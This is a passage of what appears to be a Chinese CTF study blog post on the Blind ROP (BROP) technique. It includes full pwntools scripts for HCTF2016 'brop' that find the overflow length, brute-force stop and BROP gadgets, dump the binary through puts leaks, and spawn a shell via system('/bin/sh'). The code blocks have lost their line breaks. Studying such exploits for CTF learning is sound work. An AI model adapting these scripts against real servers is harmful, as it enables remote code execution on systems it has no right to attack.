pwn学习总结(三) —— BROP

  • 描述
  • 利用条件
  • 攻击思路
  • 例题
    • 判断栈溢出长度
    • 寻找 stop gadgets
    • 寻找 brop gadgets
    • 寻找 puts 函数的 plt 地址
    • 寻找 puts 函数的 got 地址并 dump plt 表
    • getshell

描述

  1. BROP(Blind ROP)于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014
  2. 在 CTF 中,BROP 技术一般在出题方未提供二进制文件的情况下进行使用

利用条件

  1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)
  3. 目前 nginx、MySQL、Apache、OpenSSH 等服务器应用都符合这种特性

攻击思路

  1. 判断栈溢出长度,如有必要可以通过栈溢出来泄露 canaries、rbp 和返回地址
  2. 寻找能够返回到 main 函数的 gadgets(通常称为 stop_gadget
  3. 寻找 brop gadgets(例如 __libc_csu_init 中的 gadgets),定位 pop rdi ; ret 的地址
  4. 寻找 puts 或 write 函数的 plt,用于 leak 其它地址的值
  5. dump plt 表,用于 leak 所需函数的 got 地址
  6. 通过 leak 到的 got 地址,找到对应 libc 版本,通过 libc 执行系统命令进行 getshell

例题

平台:HCTF2016
题目:brop

判断栈溢出长度

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'def GetBufLength():i = 1while 1:try:sh = process('./brop')   sh.recvuntil('Do you know password?\n')payload = 'a' * ish.send(payload)output = sh.recv()#未成功返回到main函数if not output.startswith('No password'):return i - 1else:i += 1#触发栈溢出异常except EOFError:sh.close()return i - 1buf_length = GetBufLength()
print(buf_length)

寻找 stop gadgets

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'buf_length = 72def GetStopAddr():address = 0x400000while 1:print(hex(address))try:sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(address)sh.send(payload)output = sh.recv()#未成功返回到main函数头部开始执行if not output.startswith('WelCome my friend'):sh.close()address += 1else:return address#触发栈溢出异常except EOFError:address += 1sh.close()stop_gadgets = GetStopAddr()
print('stop gadgets = 0x%x' % stop_gadgets)

寻找 brop gadgets

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'def GetBropGadgets(buf_length, stop_gadgets, address):try:sh = process('./brop')sh.recvuntil('Do you know password?\n')#寻找 pop_rbx_rbp_r12_r13_r14_r15_retpayload = 'a'*buf_length + p64(address) + p64(0)*6 + p64(stop_gadgets)sh.sendline(payload)output = sh.recv(timeout=1)sh.close()if not output.startswith('WelCome my friend'):return Falsereturn Trueexcept Exception:sh.close()return Falsedef check(buf_length, address):try:sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(address) + p64(0)*7sh.sendline(payload)output = sh.recv(timeout=1)sh.close()return Falseexcept Exception:sh.close()return Truebuf_length   = 72
stop_gadgets = 0x4005d0
address      = 0x400500while 1:print(hex(address))if GetBropGadgets(buf_length, stop_gadgets, address):print('possible brop gadget: 0x%x' % address)if check(buf_length, address):print('success brop gadget: 0x%x' % address)breakaddress += 1

寻找 puts 函数的 plt 地址

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'buf_length   = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret  = brop_gadgets + 9def GetPutsPlt():addr = 0x400500while 1:print(hex(addr))try:sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadgets)sh.sendline(payload)output = sh.recv()sh.close()if output.startswith('\x7fELF'):print('puts plt address = 0x%x' % addr)return addraddr += 1except Exception:sh.close()addr += 1GetPutsPlt()

寻找 puts 函数的 got 地址并 dump plt 表

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'def leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets):sh = process('./brop')sh.recvuntil('Do you know password?\n')payload = 'a'*buf_length + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets)sh.send(payload)try:data = sh.recvuntil('\nWelCome my friend', drop=True)sh.close()if data == "":data = '\x00'sh.close()return dataexcept:sh.close()return Nonebuf_length   = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret  = brop_gadgets + 9
puts_plt     = 0x400565leak_addr    = 0x400000
result = ""
while leak_addr < 0x401000:print(hex(leak_addr))data = leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets)if data is None:continueelse:result += dataleak_addr += len(data)with open('./code','wb') as f:f.write(result)

使用 IDA 分析 DUMP 出来的数据




getshell

#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'sh = process('./brop')buf_length   = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret  = brop_gadgets + 9
puts_plt     = 0x400565
puts_got     = 0x601018sh.recvuntil('Do you know password?\n')payload  = 'a' * buf_length
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(stop_gadgets)sh.sendline(payload)
puts_addr = u64(sh.recvuntil('\nWelCome my friend', drop=True).ljust(8, '\x00'))libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')#####################################################system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')sh.recvuntil('Do you know password?\n')payload  = 'a' * buf_length
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + p64(stop_gadgets)#pwnlib.gdb.attach(proc.pidof(sh)[0])
sh.sendline(payload)
sh.interactive()

PWN学习总结(四)—— BROP相关推荐

  1. pwn学习总结(四)—— 堆基础知识(持续更新)

    pwn学习总结(四)-- 堆基础知识(持续更新) 前言 chunk 使用中(分配后) 空闲中(释放后) 堆块大小 空间复用 bins fastbin unsorted bin small bin 前言 ...

  2. pwn学习总结(三) —— 栈溢出经典题型整理

    pwn学习总结(三) -- 栈溢出经典题型整理 ret2text ret2shellcode rop ret2libc 使用DynELF实现远程libc泄露 ret2syscall ret2libc ...

  3. pwn学习总结(一) —— 常用命令

    pwn学习总结(一) -- 常用命令 编译程序 文件信息 本地测试 远程调试 cyclic ROPgadget gdb pwntools 编译程序 GCC编译参数: -m32:编译为32位程序 -fs ...

  4. 【学习札记NO.00004】Linux Kernel Pwn学习笔记 I:一切开始之前

    [学习札记NO.00004]Linux Kernel Pwn学习笔记 I:一切开始之前 [GITHUB BLOG ADDR](https://arttnba3.cn/2021/02/21/NOTE-0 ...

  5. 风炫安全Web安全学习第四十节课 反序列化漏洞攻击利用演示

    风炫安全Web安全学习第四十节课 反序列化漏洞攻击利用演示 0x02 反序列化漏洞利用 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个 ...

  6. Java IO流学习总结四:缓冲流-BufferedReader、BufferedWriter

    Java IO流学习总结四:缓冲流-BufferedReader.BufferedWriter 转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/det ...

  7. 强化学习(四) - 蒙特卡洛方法(Monte Carlo Methods)及实例

    强化学习(四) - 蒙特卡洛方法(Monte Carlo Methods)及实例 4. 蒙特卡洛方法 4.1 蒙特卡洛预测 例4.1:Blackjack(21点) 4.2 动作价值的蒙特卡洛估计 4. ...

  8. Maven学习总结(四)——Maven核心概念

    2019独角兽企业重金招聘Python工程师标准>>> Maven学习总结(四)--Maven核心概念 一.Maven坐标 1.1.什么是坐标? 在平面几何中坐标(x,y)可以标识平 ...

  9. 【转】MyBatis学习总结(四)——解决字段名与实体类属性名不相同的冲突

    [转]MyBatis学习总结(四)--解决字段名与实体类属性名不相同的冲突 在平时的开发中,我们表中的字段名和表对应实体类的属性名称不一定都是完全相同的,下面来演示一下这种情况下的如何解决字段名与实体 ...

最新文章

  1. Linux上运行一个c程序
  2. CF498C Array and Operations(数论 + 最大流)
  3. 手上红白点的中药药方
  4. 前端学习(1683):前端系列实战课程之让蛇吃食物变长
  5. flask mysql 版本_flask 数据库字段类型
  6. Laravel 的安装使用
  7. 诺基亚正式收购阿朗:物联网时代再出发
  8. 多台电脑集群运算_答疑 | 三维建模的【电脑】配置问题
  9. oracle分区键使用大于小于会失效吗_大规模使用 Apache Kafka 的20个最佳实践
  10. 仿WPS PDF阅读器
  11. FOI冬令营 Day4
  12. 没啥用的纯前端打造一个实时 markdown 编辑器
  13. # Freda的队列
  14. Ubuntu 设置搜狗输入法 Win+空格 Win+Space切换
  15. 使用openocd调试Linux内核,OpenOCD-JTAG调试(示例代码)
  16. 均值不等式链的几何证明
  17. Apollo配置中心使用篇
  18. IOS 版 Opera 已不再更新
  19. STC89C52RC定时器2串口通信
  20. ijkplayer视频解码播放架构分析

热门文章

  1. Interview:算法岗位面试—11.15下午上海某航天***公司(国企)技术面之工业机器视觉认知、计算机视觉算法的理解、目标检测相关项目案例
  2. ML之RF:基于RF算法实现案例(数据集samtrain.csv、samval.csv、samtest.csv)
  3. YOLO:将yolo的.weights文件转换为keras、tensorflow等模型所需的.h5文件的图文教程
  4. Autograd:自动求导
  5. customize shell prompt
  6. ASP.NET Core 实现带认证功能的Web代理服务器
  7. .net core使用数据库
  8. tomcat报错: Error parsing HTTP request header
  9. Java网络编程及安全
  10. [13年迁移]firefoxfocus为火狐新建焦点事件